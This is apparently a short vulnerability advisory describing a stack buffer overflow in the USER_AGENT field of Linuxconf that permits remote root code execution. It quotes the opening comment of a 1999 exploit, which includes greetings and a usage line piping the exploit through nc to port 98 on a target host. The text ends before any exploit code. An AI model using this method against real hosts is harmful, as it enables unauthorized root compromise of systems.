Linuxconf is a Linux configuration utility from Solucorp.

An attacker supplying excess data to the USER_AGENT field in vulnerable versions of Linuxconf. This data can overflow the relevant buffer, creating a stack overflow and, properly exploited, allowing remote execution of arbitrary code as root.

/*

  linuxconf exploit by R00T-X (c) 1999

  USER_AGENT overflow x86
  should work on all linux's but you need to have
  network access to linuxconf

  greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P

  have fun with this but for EDUCATIONAL PURPOSES :)

  Usage:   (./linexp <offset>;cat)| nc targethost 98
